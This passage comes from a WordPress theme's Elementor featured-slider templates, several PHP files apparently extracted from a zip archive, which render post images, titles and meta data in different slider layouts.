	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_size_mobile : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     1w\j4k$  $  =  elementor/modules/penci-featured-sliders/widgets/style-28.phpnu [        <?php
/**
 * Template part for Slider Style 28
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 7 == 1 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 7 == 1 ): $sizep = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>  <?php echo( ( $i % 7 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 7 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
							<?php if ( ( $i % 7 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
							<?php endif; ?>
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( ( $i % 7 == 0 || $i % 7 == 1 || $i % 7 == 3 || $i % 7 == 5 ) && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\O-    =  elementor/modules/penci-featured-sliders/widgets/style-11.phpnu [        <?php
/**
 * Template part for Slider Style 11
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-magazine-slider';
$penci_is_mobile = penci_is_mobile();
$post_thumb_m_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 2 ); ?>">
                    <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_m_size ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_m_size : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ( isset($settings['cspost_enable']) && $settings['cspost_enable'] ) || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     1w\^|v    =  elementor/modules/penci-featured-sliders/widgets/style-24.phpnu [        <?php
/**
 * Template part for Slider Style 24
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb-square';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 4 == 1 ): $thumb = $bpost_thumb_size; endif;

				$sizep = 'small';
				if ( $i % 4 == 1 ): $sizep = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?> <?php echo( ( $i % 4 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 || $i % 4 == 2 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\,wj  j  <  elementor/modules/penci-featured-sliders/widgets/style-1.phpnu [        <?php
/**
 * Template part for Slider Style 1
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content">
                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                        <div class="featured-slider-overlay"></div>
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                               href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
						<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                            <div class="feat-meta">
								<?php if ( $show_meta_author ): ?>
                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
								<?php endif; ?>
								<?php if ( ! $meta_date_hide ): ?>
                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
								<?php if ( ! $hide_meta_comment ): ?>
                                    <span class="feat-comments"><a
                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
								<?php endif; ?>
								<?php
								if ( $show_viewscount ) {
									echo '<span class="feat-countviews">';
									echo penci_get_post_views( get_the_ID() );
									echo ' ' . penci_get_setting( 'penci_trans_countviews' );
									echo '</span>';
								}
								?>
								<?php echo penci_show_custom_meta_fields( [
									'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
									'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
									'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
									'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
									'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
								] ); ?>
								<?php do_action( 'penci_extra_meta' ); ?>
                            </div>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php $list_post_ids[] = get_the_ID(); ?>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     1w\s  s  =  elementor/modules/penci-featured-sliders/widgets/style-40.phpnu [        <?php
/**
 * Template part for Slider Style 40
 */

$image_size      = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
?>
<div class="slider-40-wrapper">
    <div class="img-blur-container">
        <div class="container-bg-slider-40">
			<?php
			$count = 0;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$ft_class = $count ++ == 0 ? ' current' : '';
				?>
                <div data-index="<?php echo $count; ?>" class="item-bg-slider-40 <?php echo $ft_class; ?>">
                    <div class="item-bg-slider-40-content">
                    	<?php if ( ! $disable_lazyload ) { ?>
                    	<div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>" class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip bg-img-slider-40-behind"></div>
                    	<?php } else { ?>
                        <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);" class="picturefill-background fill clip bg-img-slider-40-behind"></div>
                        <?php } ?>
                    </div>
                </div>
			<?php endwhile; ?>
        </div>
    </div>
    <div class="container-slider-40">
        <div class="galery-slider-40">
            <div class="slider-creative">
                <div class="nav-slider-slider-40 nav-slider hidden-xs">
                    <button id="prev-hl" class="btn-reset nav-slider-button prev-button waves-effect"><i
                                class="penciicon-left-chevron"></i></button>
                    <button id="next-hl" class="btn-reset nav-slider-button next-button waves-effect"><i
                                class="penciicon-right-chevron"></i></button>
                </div>
                <div class="list-slider-creative">

					<?php while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                        <div class="item-slider-creative">
                            <div class="content-item-creative">
                                <div class="main-slide penci-43-slider-item content-item-creative">
                                	<?php if ( ! $disable_lazyload ) { ?>
                                	<div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>" class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip img-container"></div>
                                	<?php } else { ?>
                                    <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);" class="picturefill-background fill clip img-container"></div>
                                    <?php } ?>
                                    <div>
										<?php if ( ! $hide_categories ): ?>
                                            <div class="cat featured-cat number-tv small-title-opa"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3 class="title-part white-title"><a
                                                    title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                    href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>

										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
												<?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
										<?php endif; ?>

                                        <?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                            <div class="featured-slider-excerpt">
                                                <p><?php $excerpt = get_the_excerpt();
                                                    echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
                                        <?php endif; ?>

                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
					<?php endwhile; ?>
                </div>
            </div>
            
        </div>

    </div>
    <div class="container-thumb-creative">
		<div class="swiper nav-thumb-creative penci-owl-carousel penci-owl-carousel-slider" data-item="4"
			 data-desktop="4" data-loop="false" data-nav="false" data-thumb="yes" data-auto="false">
			<div class="swiper-wrapper">
				<?php
				$countz = 0;
				while ( $feat_query->have_posts() ) : $feat_query->the_post();
